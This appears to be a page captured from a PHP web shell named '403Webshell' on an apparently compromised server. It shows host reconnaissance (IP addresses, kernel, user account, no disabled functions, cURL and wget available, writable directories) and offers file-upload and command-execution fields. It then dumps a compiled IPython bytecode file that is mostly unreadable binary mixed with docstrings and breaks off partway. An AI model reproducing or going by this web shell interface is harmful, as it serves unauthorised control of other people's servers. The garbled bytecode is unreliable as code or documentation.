403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/lib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/lib/__pycache__/pretty.cpython-311.pyc
�

�@�c�x�
�V�dZddlmZddlZddlZddlZddlZddlZddlm	Z	ddl
mZddlm
Z
ddlmZddlmZdd	lmZgd
�ZdZeejd����ZdXd
�ZeGd�de
����Zd�Zdddefd�Zdddefd�ZGd�de��ZGd�de��Z d�Z!Gd�de ��Z"Gd�de��Z#Gd�d e#��Z$Gd!�d"e#��Z%Gd#�d$e#��Z&Gd%�d&e��Z'Gd'�d(��Z(Gd)�d*��Z)Gd+�d,��Z*d-�Z+d.�Z,d/�Z-d0�Z.d1�Z/Gd2�d3��Z0d4�Z1d5�Z2d6�Z3d7�Z4d8�Z5d9�Z6	e7Z8n
#e9$re:Z8YnwxYwie;e4�e<e4�e=e4�e>e,d:d;���e?e,d<d=���e@e.d>d?���eAe-d>d?���eBe-d@dA���eCe/�ee1�ee3�ejDe5�ejEe5�ejFe4�ejGe2�eje4�ejHe4�e8e6i�ZIeejJ��ZKeKe@ure.dBd?��eIeK<	eI�LejMe.dCdA����e3eIejN<e4eIejO<n$#eP$re.dDdA��eIejQ<e4eIeR<YnwxYwe4eIeS<e4eIeT<iZUdE�ZVdF�ZWe@�XeYeZddGde[e\g��e4��Z]dH�Z^dI�Z_dJ�Z`dK�ZadL�ZbeWdMdNe^��eWdMdOe_��eWdMdPe`��eWdMdQea��eWdMdReb��ecdSkr+ddTldmeZeGdU�dVe��Zfeef��dG�W��dSdS)Ya�

Python advanced pretty printer.  This pretty printer is intended to
replace the old `pprint` python module which does not allow developers
to provide their own pretty print callbacks.

This module is based on ruby's `prettyprint.rb` library by `Tanaka Akira`.


Example Usage
-------------

To directly print the representation of an object use `pprint`::

    from pretty import pprint
    pprint(complex_object)

To get a string of the output use `pretty`::

    from pretty import pretty
    string = pretty(complex_object)


Extending
---------

The pretty library allows developers to add pretty printing rules for their
own objects.  This process is straightforward.  All you have to do is to
add a `_repr_pretty_` method to your object and call the methods on the
pretty printer passed::

    class MyObject(object):

        def _repr_pretty_(self, p, cycle):
            ...

Here's an example for a class with a simple constructor::

    class MySimpleObject:

        def __init__(self, a, b, *, c=None):
            self.a = a
            self.b = b
            self.c = c

        def _repr_pretty_(self, p, cycle):
            ctor = CallExpression.factory(self.__class__.__name__)
            if self.c is None:
                p.pretty(ctor(a, b))
            else:
                p.pretty(ctor(a, b, c=c))

Here is an example implementation of a `_repr_pretty_` method for a list
subclass::

    class MyList(list):

        def _repr_pretty_(self, p, cycle):
            if cycle:
                p.text('MyList(...)')
            else:
                with p.group(8, 'MyList([', '])'):
                    for idx, item in enumerate(self):
                        if idx:
                            p.text(',')
                            p.breakable()
                        p.pretty(item)

The `cycle` parameter is `True` if pretty detected a cycle.  You *have* to
react to that or the result is an infinite loop.  `p.text()` just adds
non breaking text to the output, `p.breakable()` either adds a whitespace
or breaks here.  If you pass it an argument it's used instead of the
default space.  `p.pretty` prettyprints another object using the pretty print
method.

The first parameter to the `group` function specifies the extra indentation
of the next line.  In this example the next item will either be on the same
line (if the items are short enough) or aligned with the right edge of the
opening bracket of `MyList`.

If you just want to indent something you can use the group function
without open / close parameters.  You can also use this code::

    with p.indent(2):
        ...

Inheritance diagram:

.. inheritance-diagram:: IPython.lib.pretty
   :parts: 3

:copyright: 2007 by Armin Ronacher.
            Portions (c) 2009 by Robert Kern.
:license: BSD License.
�)�contextmanagerN)�deque)�	signature)�StringIO)�warn)�undoc)�PYPY)	�pretty�pprint�
PrettyPrinter�RepresentationPrinter�for_type�for_type_by_name�RawText�RawStringLiteral�CallExpressioni��c�J�	t|||��S#t$r|cYSwxYw)zzSafe version of getattr.

    Same as getattr, but will return ``default`` on any Exception,
    rather than raising.
    )�getattr�	Exception)�obj�attr�defaults   �4/usr/lib/python3/dist-packages/IPython/lib/pretty.py�
_safe_getattrrvs=����s�D�'�*�*�*�������������s��"�"c���eZdZ�fd�Z�xZS)�
CUnicodeIOc�h��t��j|i|��tdtd���dS)NzKCUnicodeIO is deprecated since IPython 6.0. Please use io.StringIO instead.�)�
stacklevel)�super�__init__r�DeprecationWarning)�self�args�kwargs�	__class__s   �rr"zCUnicodeIO.__init__�sJ��������$�)�&�)�)�)��0�
�A�	/�	/�	/�	/�	/�	/�)�__name__�
__module__�__qualname__r"�
__classcell__)r's@rrr�s8�������/�/�/�/�/�/�/�/�/r(rc��t|��}	t|��S#t$r.	t|t���cYS#t$r|cYcYSwxYwwxYw)z�
    Sort the given items for pretty printing. Since some predictable
    sorting is better than no sorting at all, we sort on the string
    representation if normal sorting fails.
    )�key)�list�sortedr�str)�itemss r�_sorted_for_pprintr3�s���
��K�K�E���e�}�}�������	��%�S�)�)�)�)�)�)���	�	�	��L�L�L�L�L�	�������s,� �
A�A�A�A�A�A�AF�O�
c��t��}t|||||���}|�|��|���|���S)z3
    Pretty print the object's representation.
    ��max_seq_length)rr
r
�flush�getvalue)r�verbose�	max_width�newliner8�stream�printers       rr
r
�sU���Z�Z�F�#�F�G�Y��Xf�g�g�g�G��N�N�3�����M�M�O�O�O��?�?���r(c��ttj||||���}|�|��|���tj�|��tj���dS)z,
    Like `pretty` but print to stdout.
    r7N)r
�sys�stdoutr
r9�write)rr;r<r=r8r?s      rrr�sn��$�C�J���G�\j�k�k�k�G��N�N�3�����M�M�O�O�O��J���W�����J�������r(c�<�eZdZed���Zedd���ZdS)�_PrettyPrinterBasec#�~K�|xj|z
c_	dV�|xj|zc_dS#|xj|zc_wxYw)z/with statement support for indenting/dedenting.N)�indentation)r$�indents  rrHz_PrettyPrinterBase.indent�sd����	
���F�"���	'��E�E�E�����&������D����&������s�*�<rrc#�K�|�||��	dV�|�||��dS#|�||��wxYw)z8like begin_group / end_group but for the with statement.N)�begin_group�	end_group)r$rH�open�closes    r�groupz_PrettyPrinterBase.group�s`����	
�����&�&�&�	*��E�E�E��N�N�6�5�)�)�)�)�)��D�N�N�6�5�)�)�)�)���s	�6�AN)rrr)r)r*r+rrHrN�r(rrErE�sM�������'�'��^�'��*�*�*��^�*�*�*r(rEc�\�eZdZdZddefd�Zd�Zd�Zd�Zdd	�Z	d
�Z
dd
�Zd�Zdd�Z
d�ZdS)ra
    Baseclass for the `RepresentationPrinter` prettyprinter that is used to
    generate pretty reprs of objects.  Contrary to the `RepresentationPrinter`
    this printer knows nothing about the default pprinters or the `_repr_pretty_`
    callback method.
    r4r5c���||_||_||_||_d|_d|_t
��|_td��}|g|_	t|��|_d|_dS�Nr)
�outputr<r=r8�output_width�buffer_widthr�buffer�Group�group_stack�
GroupQueue�group_queuerG)r$rSr<r=r8�
root_groups      rr"zPrettyPrinter.__init__�sm�����"������,����������g�g����1�X�X�
�&�<���%�j�1�1�������r(c��|jrZ|j���}|�|j|j��|_|xj|jzc_|j�Z|jr�t|jdt��r�|j���}|�|j|j��|_|xj|jzc_|jr$t|jdt���zdSdSdSdSrR)	�
breakablesrV�popleftrSrTrU�width�
isinstance�Text)r$rN�xs   r�_break_one_groupzPrettyPrinter._break_one_group�s����	)���#�#�%�%�A� !�����d�6G� H� H�D�������(�����	)��k�	)�j���Q���>�>�	)���#�#�%�%�A� !�����d�6G� H� H�D�������(����k�	)�j���Q���>�>�	)�	)�	)�	)�	)�	)�	)�	)�	)r(c���|j|j|jzkrL|j���}|sdS|�|��|j|j|jzk�JdSdS�N)r<rTrUrZ�deqrc�r$rNs  r�_break_outer_groupsz!PrettyPrinter._break_outer_groups�su���n�t�0�4�3D�D�D�D��$�(�(�*�*�E��
����!�!�%�(�(�(�	�n�t�0�4�3D�D�D�D�D�D�D�Dr(c��t|��}|jr�|jd}t|t��s(t��}|j�|��|�||��|xj|z
c_|���dS|j�	|��|xj
|z
c_
dS)zAdd literal text to the output.���N)�lenrVr`ra�append�addrUrhrSrCrT)r$rr_�texts    rrnzPrettyPrinter.text�s����C�����;�
	'��;�r�?�D��d�D�)�)�
)��v�v����"�"�4�(�(�(��H�H�S�%� � � �����&����$�$�&�&�&�&�&��K���c�"�"�"�����&����r(� c��t|��}|jd}|jrj|���|j�|j��|j�d|jz��|j|_d|_	dS|j
�t|||����|xj	|z
c_	|�
��dS)z�
        Add a breakable separator to the output.  This does not mean that it
        will automatically break here.  If no breaking on this position takes
        place the `sep` is inserted which default to one space.
        rjrorN)rkrX�
want_breakr9rSrCr=rGrTrUrVrl�	Breakablerh)r$�sepr_rNs    r�	breakablezPrettyPrinter.breakable�s����C����� ��$����		'��J�J�L�L�L��K���d�l�+�+�+��K���c�D�$4�4�5�5�5� $� 0�D�� !�D�����K���y��e�T�:�:�;�;�;�����&����$�$�&�&�&�&�&r(c�6�|j���}|r|�|��|���|j�|j��|j�d|jz��|j|_d|_	dS)z_
        Explicitly insert a newline into the output, maintaining correct indentation.
        rorN)
rZrfrcr9rSrCr=rGrTrUrgs  r�break_zPrettyPrinter.break_
s���� �$�$�&�&���	)��!�!�%�(�(�(��
�
��������$�,�'�'�'�����#�� 0�0�1�1�1� �,�������r(rrc��|r|�|��t|jdjdz��}|j�|��|j�|��|xj|z
c_dS)z�
        Begin a group.
        The first parameter specifies the indentation for the next line (usually
        the width of the opening text), the second the opening text.  All
        parameters are optional.
        rj�N)rnrWrX�depthrlrZ�enqrG)r$rHrLrNs    rrJzPrettyPrinter.begin_groups����	��I�I�d�O�O�O��d�&�r�*�0�1�4�5�5�������&�&�&�����U�#�#�#����F�"����r(c#��K�t|��D]^\}}|jrL||jkrA|�d��|���|�d��dS||fV��_dS)z>like enumerate, but with an upper limit on the number of items�,�...N)�	enumerater8rnrt)r$�seq�idxrbs    r�
_enumeratezPrettyPrinter._enumerate&s�������n�n�	�	�F�C���"�
�s�d�.A�'A�'A��	�	�#������� � � ��	�	�%� � � �����q�&�L�L�L�L�
	�	r(c���|xj|zc_|j���}|js|j�|��|r|�|��dSdS)z0End a group. See `begin_group` for more details.N)rGrX�popr]rZ�removern)r$�dedentrMrNs    rrKzPrettyPrinter.end_group0sv�����F�"���� �$�$�&�&����	+���#�#�E�*�*�*��	��I�I�e������	�	r(c��|jD]0}|xj|�|j|j��z
c_�1|j���d|_dS)z&Flush data that is left in the buffer.rN)rVrTrS�clearrU)r$�datas  rr9zPrettyPrinter.flush9sa���K�	M�	M�D�������T�[�$�:K�!L�!L�L���������������r(N)ro)rr)r)r*r+�__doc__�MAX_SEQ_LENGTHr"rcrhrnrtrvrJr�rKr9rOr(rrr�s���������*,�T�.�����)�)�)�)�)�)�
'�
'�
'�'�'�'�'�&���#�#�#�#������������r(rc��t|d��sA	t|j|tfi��}|jdd�}n#t
$r|g}YnwxYw|j}|S)z| Get a reasonable method resolution order of a class and its superclasses
    for both old-style and new-style classes.
    �__mro__rxrj)�hasattr�typer)�objectr��	TypeError)�	obj_class�mros  r�_get_mror�As����9�i�(�(� �	*��Y�/�)�V�1D�b�I�I�I��#�A�b�D�)�C�C���	�	�	��+�C�C�C�	��������Js�?�
A�Ac�4�eZdZdZddddddefd�Zd�Zd�ZdS)	r
a
    Special pretty printer that has a `pretty` method that calls the pretty
    printer for a python object.

    This class stores processing data on `self` so you must *never* use
    this class in a threaded environment.  Always lock it or reinstanciate
    it.

    Instances also have a verbose flag callbacks can access to control their
    output.  For example the default instance repr prints all attributes and
    methods that are not prefixed by an underscore if the printer is in
    verbose mode.
    Fr4r5Nc	�,�t�|||||���||_g|_|�t���}||_|�t���}||_|�t���}||_
dS)Nr7)rr"r;�stack�_singleton_pprinters�copy�singleton_pprinters�_type_pprinters�type_pprinters�_deferred_type_pprinters�deferred_pprinters)	r$rSr;r<r=r�r�r�r8s	         rr"zRepresentationPrinter.__init__cs���	���t�V�Y��P^��_�_�_������
��&�"6�";�";�"=�"=��#6�� ��!�,�1�1�3�3�N�,����%�!9�!>�!>�!@�!@��"4����r(c�r�t|��}||jv}|j�|��|���	t	|dd��pt|��}	|j|}||||��|���|j���S#ttf$rYnwxYwt|��D�]q}||jvrG|j||||��c|���|j���S|�
|��}|�<||||��c|���|j���Sd|jvrR|j}t!|��r<||||��c|���|j���S|t"urgt!|j�d����r@t'|||��c|���|j���S��st)|||��|���|j���S#|���|j���wxYw)zPretty print the given object.r'N�
_repr_pretty_�__repr__)�idr�rlrJrr�r�rKr�r��KeyErrorr�r��_in_deferred_types�__dict__r��callabler��get�_repr_pprint�_default_pprint)r$r�obj_id�cycler�r?�cls�meths        rr
zRepresentationPrinter.prettyts����C�����$�*�$���
���&�!�!�!�������%	�%�c�;��=�=�J��c���I�
1��2�6�:���w�s�D�%�0�0�8
�N�N�����J�N�N������A�x�(�
�
�
���
���� �	�*�*�
B�
B���$�-�-�-�3�4�.�s�3�C��u�E�E�E�E�*
�N�N�����J�N�N�����'#�5�5�c�:�:�G��*�&�w�s�D�%�8�8�8�8� 
�N�N�����J�N�N�����+�c�l�:�:�#&�#4�D�'��~�~�>�'+�t�C��u�'=�'=� =� =�
�N�N�����J�N�N������f�,�,�$,�S�\�-=�-=�j�-I�-I�$J�$J�-�#/��T�5�#A�#A�A�A�
�N�N�����J�N�N������#�3��e�4�4��N�N�����J�N�N������
�N�N�����J�N�N�������sI� J�)
B0�6J�0C�J�C�7J�)%J�<-J�AJ�J�/J6c��t|dd��}t|dd��}||f}d}||jvr$|j�|��}||j|<|S)a
        Check if the given class is specified in the deferred type registry.

        Returns the printer from the registry if it exists, and None if the
        class is not in the registry. Successful matches will be moved to the
        regular type registry for future use.
        r*Nr))rr�r�r�)r$r��mod�namer.r?s      rr�z(RepresentationPrinter._in_deferred_types�sj���C��t�4�4���S�*�d�3�3���D�k�����$�)�)�)��-�1�1�#�6�6�G�'.�D���$��r()r)r*r+r�r�r"r
r�rOr(rr
r
Tsd��������(-��D� ��$�%�5�5�5�5�"+�+�+�Z����r(r
c��eZdZd�ZdS)�	Printablec��|SrerO�r$r>rTs   rrSzPrintable.output�s���r(N)r)r*r+rSrOr(rr�r��s#����������r(r�c� �eZdZd�Zd�Zd�ZdS)rac�"�g|_d|_dSrR)�objsr_�r$s rr"z
Text.__init__�s����	���
�
�
r(c�T�|jD]}|�|���||jzSre)r�rCr_)r$r>rTrs    rrSzText.output�s5���9�	�	�C��L�L�������d�j�(�(r(c�Z�|j�|��|xj|z
c_dSre)r�rlr_)r$rr_s   rrmzText.add�s,���	��������
�
�e��
�
�
�
r(N)r)r*r+r"rSrmrOr(rrara�sA���������)�)�)�
����r(rac��eZdZd�Zd�ZdS)rrc��||_||_||_|j|_|jd|_|jj�|��dS)Nrj)rr_r
rGrXrNr]rl)r$rr_r
s    rr"zBreakable.__init__�sP�������
����!�-����'��+��
��
��$�$�T�*�*�*�*�*r(c��|jj���|jjrC|�|jj��|�d|jz��|jS|jjs$|jj�	|j��|�|j
��||jzS)Nro)rNr]r^rqrCr
r=rGrZr�rr_r�s   rrSzBreakable.output�s����
��%�%�'�'�'��:� �	$��L�L���,�-�-�-��L�L��t�/�/�0�0�0��#�#��z�$�	7��K�#�*�*�4�:�6�6�6����T�X�����d�j�(�(r(N)r)r*r+r"rSrOr(rrrrr�s2������+�+�+�	)�	)�	)�	)�	)r(rrc��eZdZd�ZdS)rWc�H�||_t��|_d|_dS)NF)ryrr]rq)r$rys  rr"zGroup.__init__�s����
��'�'�������r(N)r)r*r+r"rOr(rrWrW�s#������ � � � � r(rWc�&�eZdZd�Zd�Zd�Zd�ZdS)rYc�H�g|_|D]}|�|���dSre)�queuerz)r$�groupsrNs   rr"zGroupQueue.__init__�s3����
��	�	�E��H�H�U�O�O�O�O�	�	r(c���|j}|t|j��dz
kr5|j�g��|t|j��dz
k�5|j|�|��dS)Nrx)ryrkr�rl)r$rNrys   rrzzGroupQueue.enq�sr������c�$�*�o�o��)�)�)��J���b�!�!�!��c�$�*�o�o��)�)�)��
�5�� � ��'�'�'�'�'r(c��|jD]L}tt|����D]\}}|jr||=d|_|ccS�|D]	}d|_�
|dd�=�MdS)NT)r�r~�reversedr]rq)r$r�r�rNs    rrfzGroupQueue.deq�s����Z�	�	�E�'�����8�8�
!�
!�
��U��#�!��c�
�'+�E�$� �L�L�L�L�L�!��
(�
(��#'�� � ��a�a�a���	�	r(c�t�	|j|j�|��dS#t$rYdSwxYwre)r�ryr��
ValueErrorrgs  rr�zGroupQueue.removesL��	��J�u�{�#�*�*�5�1�1�1�1�1���	�	�	��D�D�	���s�%)�
7�7N)r)r*r+r"rzrfr�rOr(rrYrY�sP���������
(�(�(�	�	�	�����r(rYc��eZdZdZd�Zd�ZdS)rz� Object such that ``p.pretty(RawText(value))`` is the same as ``p.text(value)``.

    An example usage of this would be to show a list as binary numbers, using
    ``p.pretty([RawText(bin(i)) for i in integers])``.
    c��||_dSre��value�r$r�s  rr"zRawText.__init__
�
����
�
�
r(c�:�|�|j��dSre)rnr�)r$�pr�s   rr�zRawText._repr_pretty_s��	���t�z�����r(N�r)r*r+r�r"r�rOr(rrrs<��������
�������r(rc�4�eZdZdZd�Zed���Zd�ZdS)rzY Object which emits a line-wrapped call expression in the form `__name(*args, **kwargs)` c�4�|}||_||_||_dSre)r�r%r&)�_CallExpression__self�_CallExpression__namer%r&r$s     rr"zCallExpression.__init__s"������	���	�����r(c������fd�}|S)Nc�����g|�Ri|��SrerO)r%r&r�r�s  ��r�innerz%CallExpression.factory.<locals>.inner s#����3�t�-�d�-�-�-�f�-�-�-r(rO)r�r�r�s`` r�factoryzCallExpression.factorys'����	.�	.�	.�	.�	.�	.��r(c����d���fd�}|jdz}��t|��|d��5|jD]!}|����|���"|j���D]d\}}|��|dz}��t|��|��5��|��ddd��n#1swxYwY�e	ddd��dS#1swxYwYdS)NFc�b���r)��d������d�dS)Nr|T)rnrt)r��starteds��r�new_itemz.CallExpression._repr_pretty_.<locals>.new_item)s0����
����s�������
�
�
��G�G�Gr(�(�)�=)r�rNrkr%r
r&r2)	r$r�r�r��prefix�arg�arg_name�
arg_prefixr�s	 `      @rr�zCallExpression._repr_pretty_$s�������	�	�	�	�	�	���S���
�W�W�S��[�[�&�#�
.�
.�	"�	"��y�
�
����
�
�
�����
�
�
�
�!%��!2�!2�!4�!4�
"�
"�
��#���
�
�
�%��^�
��W�W�S��_�_�j�9�9�"�"��H�H�S�M�M�M�"�"�"�"�"�"�"�"�"�"�"����"�"�"�"��
"�		"�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"�	"����	"�	"�	"�	"�	"�	"s6�A:C/�3C�	C/�C�C/�C�C/�/C3�6C3N)r)r*r+r�r"�classmethodr�r�rOr(rrrsS������c�c��������[��
"�"�"�"�"r(rc��eZdZdZd�Zd�ZdS)rz/ Wrapper that shows a string with a `r` prefix c��||_dSrer�r�s  rr"zRawStringLiteral.__init__>r�r(c��t|j��}|dd�dvr
|dd�}d}nd}||�dd��z}|�|��dS)Nrx�uU�ur�rz\\�\)�reprr��replacern)r$r�r��	base_reprr�s     rr�zRawStringLiteral._repr_pretty_Aso�����$�$�	��R�a�R�=�D� � �!�!�"�"�
�I��F�F��F��Y�.�.�v�t�<�<�<�	�	���y�����r(Nr�rOr(rrr<s8������9�9��������r(rc��t|dd��pt|��}t|dd��tjurt	|||��dS|�dd��|�|��|�dt|��z��|r|�d���n|j	�rd}t|��D]�}|�d	��s�	t||��}n#t$rY�5wxYwt|tj��r�T|s|�d
��|���|�|��|�d��t%|��dz}|xj|z
c_|�|��|xj|zc_d}��|�dd
��dS)zw
    The default print function.  Used if an object does not provide one and
    it's none of the builtin objects.
    r'Nr�rx�<z at 0x%xz ...T�_r|r�F�>)rr�r�r�r�rJr
rnr�r;�dir�
startswithr�AttributeErrorr`�types�
MethodTypertrkrGrK)rr�r��klass�firstr.r��steps        rr�r�Ls���

�#�{�D�1�1�>�T�#�Y�Y�E��U�J��-�-�V�_�D�D��S�!�U�#�#�#����M�M�!�S�����H�H�U�O�O�O��F�F�:��3���� � � ���	���v�����	
������s�8�8�	�	�C��>�>�#�&�&�
��#�C��-�-�E�E��%�����H������e�U�%5�6�6���� ��F�F�3�K�K�K����
�
�
����s�������s�����3�x�x�!�|���
�
��%�
�
���������
�
��%�
�
�����K�K��3�����s�+C<�<
D	�D	c������fd�}|S)z|
    Factory that returns a pprint function useful for sequences.  Used by
    the default pprint for tuples and lists.
    c����|r|��dz�z��St���}|�|���|�|��D]E\}}|r)|�d��|���|�|���Ft|��dkr*t
|t��r|�d��|�|���dS)Nr}r|rx)	rnrkrJr�rtr
r`�tuplerK)rr�r�r�r�rb�end�starts      ��rr�z$_seq_pprinter_factory.<locals>.innerws�����	/��6�6�%�%�-�#�-�.�.�.��5�z�z��	�
�
�d�E�"�"�"��l�l�3�'�'�	�	�F�C���
����s�������
�
�
�
�H�H�Q�K�K�K�K��s�8�8�q�=�=�Z��U�3�3�=�
�F�F�3�K�K�K�	���D�#�����r(rO�r�r�r�s`` r�_seq_pprinter_factoryrr�)����

�
�
�
�
�
��Lr(c������fd�}|S)zP
    Factory that returns a pprint function useful for sets and frozensets.
    c�N��|r|��dz�z��St|��dkr,|�t|��jdz��dSt���}|�|���|jrt|��|jkst
|��}n|}|�|��D]E\}}|r)|�d��|���|�	|���F|�
|���dS)Nr}rz()r|)rnrkr�r)rJr8r3r�rtr
rK)	rr�r�r�r2r�rbr�r�s	       ��rr�z$_set_pprinter_factory.<locals>.inner�s����	/��6�6�%�%�-�#�-�.�.�.��s�8�8�q�=�=�
�F�F�4��9�9�%��,�-�-�-�-�-��u�:�:�D�
�M�M�$��&�&�&��$�
��S���Q�5E�)E�)E�*�3�/�/������,�,�u�-�-�
�
���Q��"��F�F�3�K�K�K��K�K�M�M�M���������
�K�K��c�"�"�"�"�"r(rOrs`` r�_set_pprinter_factoryr�s)����#�#�#�#�#�#�(�Lr(c������fd�}|S)zj
    Factory that returns a pprint function used by the default pprint of
    dicts and dict proxies.
    c����|r|�d��St���}|�|���|���}|�|��D]u\}}|r)|�d��|���|�|��|�d��|�||���v|�|���dS)Nz{...}r|z: )rnrkrJ�keysr�rtr
rK)	rr�r�r�rr�r.r�r�s	       ��rr�z%_dict_pprinter_factory.<locals>.inner�s�����	#��6�6�'�?�?�"��5�z�z��	�
�
�d�E�"�"�"��x�x�z�z�����T�*�*�	�	�H�C���
����s�������
�
�
�
�H�H�S�M�M�M�
�F�F�4�L�L�L�
�H�H�S��X�����	���D�#�����r(rOrs`` r�_dict_pprinter_factoryr	�rr(c�v�|�dd��|�|j��|�d��|���t
r(|jj}|�||urdn|��n|�|j��|�dd��dS)zThe pprint for the super type.�z<super: r|Nr�)	rJr
�
__thisclass__rnrtr	r��__self__rK)rr�r��dselfs    r�
_super_pprintr�s����M�M�!�Z� � � ��H�H�S�
�����F�F�3�K�K�K��K�K�M�M�M�����%��	����#�����5�1�1�1�1�	���������K�K��3�����r(c��eZdZd�Zd�ZdS)�_ReFlagsc��||_dSrer�r�s  rr"z_ReFlags.__init__�r�r(c��d}dD]P}|jtt|��zr1|r|�d��|�d|z��d}�QdS)NF)�TEMPLATE�
IGNORECASE�LOCALE�	MULTILINE�DOTALL�UNICODE�VERBOSE�DEBUG�|zre.T)r�r�rern)r$r�r��done_one�flags     rr�z_ReFlags._repr_pretty_�sn����+�	 �	 �D��z�G�B��-�-�-�
 �� ��F�F�3�K�K�K����u�t�|�$�$�$����
	 �	 r(N)r)r*r+r"r�rOr(rrr�s2��������� � � � � r(rc�2�t�d��}|jrE|�|t	|j��t
|j������dS|�|t	|j������dS)z4The pprint function for regular expression patterns.z
re.compileN)rr��flagsr
r�patternr)rr�r��
re_compiles    r�_re_pattern_pprintr$�s����'�'��5�5�J�
�y�<�	�����,�S�[�9�9�8�C�I�;N�;N�O�O�P�P�P�P�P�	�����,�S�[�9�9�:�:�;�;�;�;�;r(c���t�d��}|r-|�|td������dS|�|di|j����dS)z.The pprint function for types.SimpleNamespace.�	namespacer}NrO)rr�r
rr�)rr�r�r&s    r�_types_simplenamespace_pprintr'�so���&�&�{�3�3�I��,�	�����7�5�>�>�*�*�+�+�+�+�+�	�����*�*�S�\�*�*�+�+�+�+�+r(c���d�tt|����D��dd�tgkrt|||��dSt|dd��}	|j}t|t��std���n.#t$r!|j}t|t��sd}YnwxYw|dvr|�	|��dS|�	|dz|z��dS)	z!The pprint for classes and types.c�4�g|]}dt|��v�|��S)r�)�vars)�.0�ms  r�
<listcomp>z _type_pprint.<locals>.<listcomp>�s(��@�@�@�a�*��Q���*?�*?��*?�*?�*?r(Nrxr*zTry __name__z<unknown type>)N�__builtin__�builtins�
exceptions�.)
r�r�r�rr+r`r1rr)rn)rr�r�r�r�s     r�_type_pprintr2�s��A�@�8�D��I�I�&�&�@�@�@��!��D���N�N��S�!�U�#�#�#���
��\�4�
0�
0�C�	$�����$��$�$�	,��N�+�+�+�	,���$�$�$��|���$��$�$�	$�#�D���$����
�=�=�=�	���t������	���s�S�y�4�� � � � � s�+B
�
(B5�4B5c�(�t|��}|���}|���5t|��D]0\}}|r|���|�|���1	ddd��dS#1swxYwYdS)z9A pprint that just redirects to the normal repr function.N)r��
splitlinesrNr~rvrn)rr�r�rS�linesr��output_lines       rr�r�s����#�Y�Y�F������E�	
����� � � )�%� 0� 0�	 �	 ��C���
����
�
�
�
�F�F�;�����	 � � � � � � � � � � � � ���� � � � � � s�AB�B�Bc���t|d|j��}|j}|r|dvr|dz|z}	|tt	|����z}n#t
$r|}YnwxYw|�d|z��dS)z4Base pprint for all functions and builtin functions.r+)r.r/r0r1z
<function %s>N)rr)r*r1rr�rn)rr�r�r�r��func_defs      r�_function_pprintr9s�����n�c�l�;�;�D�

�.�C�
� �s�C�C�C��S�y�4������Y�s�^�^�,�,�,�x�x�������x�x�x������F�F�?�X�%�&�&�&�&�&s�A
�
A�Ac
���t|jd|jj��}|jjdvr|jj�d|��}|�t|gt|dd���R���dS)zBase pprint for all exceptions.r+)r0r/r1r%rON)rr'r)r*r
r)rr�r�r�s    r�_exception_pprintr; sv���3�=�.�#�-�2H�I�I�D�
�}��'A�A�A��-�2�2�2�D�D�9���H�H�^�D�
<�7�3���#;�#;�
<�
<�
<�=�=�=�=�=r(r�r��[�]�{�}zfrozenset({z})zenviron{zdict_proxy({zmappingproxy({c�T�t�|d��}|�
|t|<|S)z0
    Add a pretty printer for a given type.
    N)r�r�)�typ�func�oldfuncs   rrr_s.���!�!�#�t�,�,�G���#�����Nr(c�\�||f}t�|d��}|�
|t|<|S)z|
    Add a pretty printer for a type specified by the module and name of a type
    rather than the type object itself.
    N)r�r�)�type_module�	type_namerBr.rCs     rrris9��
�	�
"�C�&�*�*�3��5�5�G���(,� ��%��Nr(Tc��t�|jj��}|r-|�|td������dS|�||jt|������dS�Nr})rr�r'r)r
r�default_factory�dict�rr�r��cls_ctors    r�_defaultdict_pprintrM{sw���%�%�c�m�&<�=�=�H��;�	�����'�%�.�.�)�)�*�*�*�*�*�	�����#�-�t�C�y�y�9�9�:�:�:�:�:r(c��t�|jj��}|r-|�|td������dSt
|��r?|�|t|���������dS|�|����dSrH)	rr�r'r)r
rrkr/r2rKs    r�_ordereddict_pprintrO�s����%�%�c�m�&<�=�=�H���	�����'�%�.�.�)�)�*�*�*�*�*�	�S����	�����$�s�y�y�{�{�+�+�,�,�-�-�-�-�-�	�����������r(c�x�t�|jj��}|r-|�|td������dS|j�4|�|t|��|j�����dS|�|t|������dS)Nr})�maxlen)rr�r'r)r
rrQr/rKs    r�
_deque_pprintrR�s����%�%�c�m�&<�=�=�H��&�	�����'�%�.�.�)�)�*�*�*�*�*�	��	�	�����$�s�)�)�C�J�7�7�7�8�8�8�8�8�	�����$�s�)�)�$�$�%�%�%�%�%r(c�^�t�|jj��}|r-|�|td������dSt
|��r-|�|t|������dS|�|����dSrH)rr�r'r)r
rrkrJrKs    r�_counter_pprintrT�s����%�%�c�m�&<�=�=�H���	�����'�%�.�.�)�)�*�*�*�*�*�	�S����	�����$�s�)�)�$�$�%�%�%�%�%�	�����������r(c���t�|jj��}|r-|�|td������dS|�||j����dSrH)rr�r'r)r
rr�rKs    r�_userlist_pprintrV�sn���%�%�c�m�&<�=�=�H��%�	�����'�%�.�.�)�)�*�*�*�*�*�	�����#�(�#�#�$�$�$�$�$r(�collections�defaultdict�OrderedDictr�Counter�UserList�__main__)�	randrangec��eZdZd�Zd�ZdS)�Fooc���d|_tjd��|_t�t
d��tdd����|_d|_	dd|g|_
dS)Nrxz\s+��(gg�����@�blub�blah)�foor�compile�barrJ�fromkeys�ranger]rc�heher/r�s rr"zFoo.__init__�sX���D�H��z�&�)�)�D�H��
�
�e�B�i�i��1�b�1A�1A�B�B�D�I�$�D�I����.�D�I�I�Ir(c�$�td��dS)Nre)�printr�s r�get_foozFoo.get_foo�s���%�L�L�L�L�Lr(N)r)r*r+r"rmrOr(rr_r_�s2������	/�	/�	/�	�	�	�	�	r(r_)r;re)gr��
contextlibr�datetime�osrrAr�rWr�inspectr�ior�warningsr�IPython.utils.decoratorsr�IPython.utils.py3compatr	�__all__r�r�rf�_re_pattern_typerrr3r
rr�rErr�r
r�rarrrWrYrrrr�rrr	rrr$r'r2r�r9r;�
BaseException�_exception_base�	NameErrorr�int�floatr1r�r/rJ�set�	frozensetr!�FunctionType�BuiltinFunctionTyper��SimpleNamespace�	timedeltar��environ�	_env_type�
setdefault�
